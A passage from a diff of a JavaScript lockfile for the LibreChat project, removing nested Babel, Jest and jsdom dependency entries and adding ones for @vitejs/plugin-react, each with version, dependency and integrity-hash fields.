"@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - "@librechat/frontend/@testing-library/jest-dom/chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], - "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="], - "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle/cssom": ["cssom@0.3.8", "", {}, "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="], + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="], - "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], - "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie/universalify": ["universalify@0.2.0", "", {}, "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg=="], - - "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46": ["tr46@3.0.0", "", { "dependencies": { "punycode": "^2.1.1" } }, "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA=="], + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="], "expect/jest-message-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], + "expect/jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], + "express-static-gzip/serve-static/send/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, 